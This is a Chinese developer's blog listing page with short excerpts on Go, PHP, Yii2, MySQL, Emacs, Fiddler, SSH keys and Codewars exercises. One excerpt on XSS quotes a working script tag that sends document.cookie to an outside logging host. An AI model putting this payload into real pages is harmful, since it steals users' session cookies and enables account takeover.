- 博客(26)
- 收藏
- 关注
原创 golang的接口探索
在Go语言中,接口是一种类型。抽象地定义了一组方法签名,但不实现这些方法。接口类型指定了一个值应该有哪些方法,因此,。在 Go 语言的语义上,只要某个类型实现了所定义的一组方法集,则就认为其就是同一种类型,是一个东西。大家常常称其为,因为其与鸭子类型类型的定义相对吻合。。这里引入了两个概念,动态接口类型和动态值。我的理解。
2024-02-29 15:47:54
1121
原创 golang的channel探索
当数据从一个goroutine通过无缓冲channel发送到另一个goroutine时,发送者goroutine会阻塞,直到接收者goroutine接收了数据,这确保了在两个goroutine之间的数据交换是同步的。在Go语言中,有缓冲的channel允许在阻塞发送和接收操作之前存储一个固定数量的值。在Go语言中,无缓冲的channel是一种在发送和接收操作之间同步进行的通道。在上面的代码中,发送操作在另一个goroutine中执行,它会阻塞,直到主goroutine执行接收操作。表示只允许发送的通道,
2024-02-28 15:21:30
1151
原创 PHP中使用strtotime的坑
虽然说这个问题在工作前两年的时候经常碰到,也都是这么解决的。当时没有记录博客的习惯。今天早上看到鸟哥更新了一篇关于strtotime的博客。那我就直接引用过来好啦。鸟哥博客链接如下:http://www.laruence.com/2018/07/31/3207.html看完这个,我确定我之前使用的确实没问题。一下子不慌了。以前只要是涉及这个函数的地方,我都万分小心。 ...
2018-08-06 10:39:26
3878
原创 记一次安装emacs的过程
安装环境:cat /etc/redhat-release CentOS Linux release 7.4.1708 (Core)1、从gnu官网下载最新的压缩包。(官方地址http://ftp.gnu.org/gnu/emacs/)当前最新版本是:emacs-26.1.tar.gz2、放到自己的home目录下,进行解压缩。tar -xzvf emacs-26.1.tar.gz3、解压缩完成,进入...
2018-06-27 15:59:26
3567
原创 fidder抓取工具使用过程的坑
如何使用fidder拦截手机的请求?手机和电脑连接同一个局域网络后,iphone通过启动safari浏览器访问 http://<IP>:8888,回车进入Fiddler的证书安装页面IP就是电脑的局域网ip地址点击 FiddlerRoot certificate,进行证书安装最后安装的证书如果需要认证,否则无法使用,ios设置证书认证:设置-->通用--->描述文件与设备管...
2018-06-26 15:47:53
709
原创 ssh登录图示
公钥和私钥:一个公钥对应一个私钥。 密钥对中,让大家都知道的是公钥,不告诉大家,只有自己知道的,是私钥。 如果用其中一个密钥加密数据,则只有对应的那个密钥才可以解密。 如果用其中一个密钥可以进行解密数据,则该数据必然是对应的那个密钥进行的加密。1、加密:公钥加密私钥解密 2、认证:私钥加密公钥解密 主要用于身份验证,判断某个身份的真实性。使用私钥加密之后,用对应的公钥解密从而验证身
2017-12-19 16:17:32
233
原创 关于js中获得某一天的昨天以及上周一天的日期使用问题
last_day = yester_day = cur_day = new Date(date);last_day.setTime(last_day.getTime()-7*24*60*60*1000);yester_day.setTime(yester_day.getTime()-24*60*60*1000);cur_day.setTime(cur_day.getTime());console
2017-10-23 17:20:46
646
原创 yii框架中使用phpexcel得到的excel文件作为附件发送
1、使用mail:Yii::$app->mailer->compose() ->setTo($this->send_to) ->setSubject($this->subject) ->attachContent($this->attach_file, ['fileName' => $this->attach_file_nam
2017-09-21 18:06:36
629
原创 关于yii2框架中内存泄漏的解决方案
现象描述: 命令行执行一个7万行的脚本,循环里进行各种查询。结果每次都会报出内存溢出的错误,类似于这样: 第 475 次,消耗内存 312.68MB第 476 次,消耗内存 313.22MB第 477 次,消耗内存 313.79MB。还是报错。内存溢出。Allowed memory size of 402653184 bytes exhausted (tried to allocate 8388
2017-09-07 20:53:44
3165
5
转载 定时器系列-被誉为神器的requestAnimationFrame
这里我需要引用下原作者的文章。http://www.cnblogs.com/xiaohuochai/p/5777186.html 大多数电脑显示器的刷新频率是60Hz,大概相当于每秒钟重绘60次。大多数浏览器都会对重绘操作加以限制,不超过显示器的重绘频率,因为即使超过那个频率用户体验也不会有提升。因此,最平滑动画的最佳循环间隔是1000ms/60,约等于16.6ms 而setTimeou
2017-08-31 17:35:45
413
转载 web中的高并发
并发的问题,我们具体该关心什么?讲真话,高并发是个比较抽象的概念。很难有一个统一的可衡量的标准。哪么有一些其它维度的标准指标来衡量系统的性能吗?搬出以前计算机课程里边的一些指标来跟大家聊聊。先声明几个概念,别打瞌睡。QPS(TPS):每秒钟 request/事务 数量,在互联网领域,指每秒响应请求数(指http请求);吞吐量:单位时间内处理的请求数量(通常由QPS与并发数决定);响应时间:系统对
2017-08-29 17:36:55
302
原创 label的扩大点击范围影响到了监听事件
如图所示。本来的目的是点击“全部游戏包”的时候,下面所有的游戏包都被选中。但是会发现,上面大区域里的空白地方也可以点击,使得所有checkbox选中或者取消全选。这个原因我查了几个小时、冒泡呀,click事件的写法啊(因为这个的所有checkbox是后来才使用js动态加载上的,使用jq的click事件是监听不到或者是有问题的,所以怀疑写法不对,事实证明这里没有问题),总之所有自己可以想到的可能
2017-08-29 10:08:19
1345
原创 mysql中按照季度、月份等分组
mysql中关于分组的使用select DATE_FORMAT(create_time,'%Y%u') weeks,count(caseid) count from tc_case group by weeks; select DATE_FORMAT(create_time,'%Y%m%d') days,count(caseid) count from tc_case group by days
2017-08-21 15:06:12
32279
3
原创 xss攻击之窃取用户cookie
引用链接:https://blog.fundebug.com/2017/08/16/xss_steal_cookie/下面的的JavaScript代码就可以窃取Cookie,是不是很简单?<script>new Image().src="http://jehiah.com/_sandbox/log.cgi?c="+encodeURI(document.cookie);</script>在IE浏
2017-08-18 16:50:59
715
原创 datatable结合php使用(yii2)
1、官网地址:http://datatables.club/example/server_side/simple.htmlhttp://datatables.club/example/diy.html2、基本常用设置:前端设置:$this->registerJs("$(function() { var times = false;//防止多次回调显示重复 $('#exa
2017-08-17 16:16:46
3290
1
原创 phpexcel中PHPExcel_Exception Invalid cell coordinate [1解决办法
1、当导出的首行字段超过26的字符的时候,就会报出错误,错误信息如下: PHPExcel_Exception Invalid cell coordinate [1 原因: 这个不是条数多了出问题,而是列超过26列出的问题。 仔细看看excel表格,z后面是AA、AB、AC,因此输出的时候需要判断。 解决办法:public function actionExcel(){ /**
2017-08-17 16:14:37
9739
原创 php中获得中国式的周的日期方式
php中有的时候想获取某周的开始和结束日期,不是很方便,于是自己收拾了一套。 /** * 日期转换成中国式的周一和周日,num=-1默认返回本周周一和周日的日期 * 0表示上周 1表示上上周 * -2表示下周 -3表示下下周 * 以此类推 */ public static function dealDate($num = -1)
2017-08-15 15:05:08
198
原创 好玩的线上检测代码工具-codewars(5)
Compare two strings by comparing the sum of their values (ASCII character code). For comparing treat all letters as UpperCase.Null-Strings should be treated as if they are empty strings. If the strin
2017-08-14 17:59:50
655
原创 好玩的线上检测代码工具-codewars(4)
You are going to be given a word. Your job is to return the middle character of the word. If the word’s length is odd, return the middle character. If the word’s length is even, return the middle 2 cha
2017-08-14 16:52:14
418
原创 好玩的线上检测代码工具-codewars(3)
Complete the solution so that it splits the string into pairs of two characters. If the string contains an odd number of characters then it should replace the missing second character of the final pair
2017-08-14 16:38:31
437
原创 好玩的线上检测代码工具-codewars(2)
【好玩的coderwars-第二个练习】 You are given an array strarr of strings and an integer k. Your task is to return the first longest string consisting of k consecutive strings taken in the array.Example: longest_
2017-08-14 16:26:17
554
原创 好玩的线上检测代码工具-codewars(1)
检测环境: http://www.codewars.com 基本描述:Task:Your task is to write a function which returns the sum of following series upto nth term(parameter).Series: 1 + 1/4 + 1/7 + 1/10 + 1/13 + 1/16 +…Rules:You need
2017-08-14 15:54:41
691
转载 GitHub 万星推荐:黑客成长技术清单
https://github.com/Hack-with-Github/Awesome-Hacking 附上地址 “Awesome Hacking”是一个黑客技术清单项目,里边索引了数十个不同方向的技能图谱。大家都知道,GitHub上这类项目非常容易集星(Star),“Awesome Hacking”刚刚突破一万星(这一轮推荐里大概涨了两千星),已经进入安全领域最受关注的GitHub项目阵营
2017-08-10 16:46:04
447
原创 多数组合并,键值既有字母又有数字时,如何统一为字母键值?
多数组合并中,键值既有字符又有数字合并时,如何统一为字符键值?$arr1 = [ 'appstore' => 'appstore', 'xiaoqi' => 'xiaoqi', 'xiaoba' => 'xiaoba',];$arr2 = [ 4399 => '4399',];如果这两数组要进行合并,希望得到的结果是$
2017-08-07 15:00:53
664
1
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人